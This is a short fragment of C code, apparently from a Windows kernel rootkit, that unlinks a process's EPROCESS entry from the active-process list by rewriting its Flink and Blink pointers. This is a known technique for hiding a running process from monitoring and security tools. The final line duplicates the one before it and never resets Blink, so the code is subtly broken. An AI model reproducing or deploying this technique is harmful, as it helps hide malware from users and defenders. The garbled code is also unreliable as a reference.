PPROCS = (LIST_ENTRY*)(EPROC+FLINKOFFSET); *((DWORD*)PPROCS->Blink) = (DWORD) PPROCS->Flink; *((DWORD*)PPROCS->Flink+1) = (DWORD) PPROCS->Blink; PPROCS->Flink = (LIST_ENTRY*) &(PPROCS->Flink); PPROCS->Flink = (LIST_ENTRY*) &(PPROCS->Flink);